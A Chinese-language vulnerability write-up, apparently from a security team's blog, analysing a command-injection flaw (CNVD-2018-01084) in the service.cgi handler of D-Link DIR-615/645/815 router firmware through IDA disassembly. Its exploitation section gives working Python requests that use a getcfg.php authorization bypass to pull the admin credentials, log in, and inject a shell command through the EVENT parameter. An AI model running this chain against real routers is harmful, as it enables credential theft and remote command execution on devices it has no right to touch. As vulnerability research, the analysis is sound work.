0x00 漏洞概述
该漏洞编号CNVD-2018-01084,受影响的型号包括D-Link DIR 615、D-Link DIR 645 、D-Link DIR 815,受影响的固件版本为1.03及之前。
此外该漏洞利用过程中会验证seesion,需要配合之前的越权漏洞使用,越权漏洞分析请查看之前的文章。(越权漏洞分析)
0x01 漏洞成因
该漏洞是由于cgibin在处理service.cgi时,拼接了HTTP POST请求中的数据,造成后台命令拼接,实现命令注入,最终导致远程命令执行。
0x02 漏洞分析
使用IDA打开cgibin程序,定位到main函数。
追踪service.cgi分支跟进servicecgi_main函数。
service_main函数分析
- 首先调用getenv函数获取请求参数REQUEST_METHOD的值。
- 将返回值,即请求方式存入s0寄存器。
- 如果v0不等于0,跳转到分支loc_40CE6C。
分支loc_40CE6C分析
-
调用strcasecmp函数对返回值v0与字符串POST进行比较。
-
结果如果不为0则跳转到分支loc_40CEA0再与GET进行比较。
-
我们知道漏洞触发点在POST方式,就不再分析GET请求方式分支。
-
将cgibin_parse_request函数地址载入t9寄存器
-
将sub_40D1CC函数地址载入a0寄存器
-
将a1寄存器置0
-
将a2寄存器的值存为0x400
-
调用cgibin_parse_request函数对请求参数进行解析
-
如果返回值大于0则跳转分支loc_40CF20,从cgibin_parse_request函数分析可知,当存在请求参数时,返回值大于0.
cgibin_parse_request函数分析
- 通过调用getenv函数,获取CONTENT_TYPE,CONTENT_LENGTH,REQUEST_URI的值。
- 通过sobj系列函数创建一块内存空间,存储请求参数的值。
- 具体的分析在越权访问配置文件的文章中已做过详细分析,此处就不再赘述。
分支loc_40CF20分析
- 调用sess_ispoweruser函数
- sess_ispoweruser是对权限进行验证
- 所以使用该漏洞需配合越权漏洞,在登录之后使用。
- 有兴趣的可以跟进sess_ispoweruser函数分析。
- 然后跳转到分支loc_40CF58。
分支loc_40CF58分析
- 三次调用函数sub_40CD50。
- 参数分别为:EVENT、ACTION和SERVICE。
- 基本可以确定函数sub_40CD50是对POST请求参数的处理。
- 如果返回值s2为0则跳转分支loc_40CFA4。
sub_40CD50函数分析
- 分别对EVENT、ACTION和SERVICE参数进行判断。
- 如果存在则返回非0的返回值。
- 如果event参数存在,则继续向下执行。
- 将字符串"event %s > /dev/null"传入参数a0寄存器。
- 调用lxmldbc_system函数。
lxmldbc_system函数分析
- 先调用vsnprintf函数将请求参数写入格式化字符串"event %s > /dev/null"并存入a0。
- 然后调用system函数执行a0中的命令。
- 在传入请求参数和调用命令的过程中,并未对请求参数进行判断,导致实现命令注入。
0x03 漏洞利用
权限获取
-
首先利用越权漏洞读取配置信息获取账号密码
-
模拟登录
- 通过抓包获取登录请求参数
- 实现登录
-
获取session
-
权限获取代码
url = r'http://xxx.xxx.xxx.xxx:xxxx'
m_payload = "SERVICES=DEVICE.ACCOUNT&attack=ture%0aAUTHORIZED_GROUP=1"
header = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
}
res1 = requests.post(url+'/getcfg.php',data=m_payload,verify=False,headers=header)
username = re.findall("<name>(.*?)</name>",res1.text)[0]
password = re.findall("<password>(.*?)</password>",res1.text)[0]
s_payload = {
"REPORT_METHOD": "xml",
"ACTION": "login_plaintext",
"USER": username,
"PASSWD": password,
"CAPTCHA":""
}
s = requests.session()
res2 = s.post(url+'/session.cgi',data=s_payload,verify=False,headers=header)
远程命令执行
rce_payload = "EVENT=;%s%%26"%"pwd"
res3 = s.post(url+'/service.cgi',data=rce_payload,verify=False,headers=header)
print(res3.text)
0x04 漏洞利用脚本
EXP请关注公众号“乌托邦安全团队”回复关键“菜鸡师傅”获取EXP下载地址,仅供学习交流,切勿使用进行恶意攻击!
PS:exp可能写得并不是很完美,欢迎各位师傅指正批评和补充,谢谢!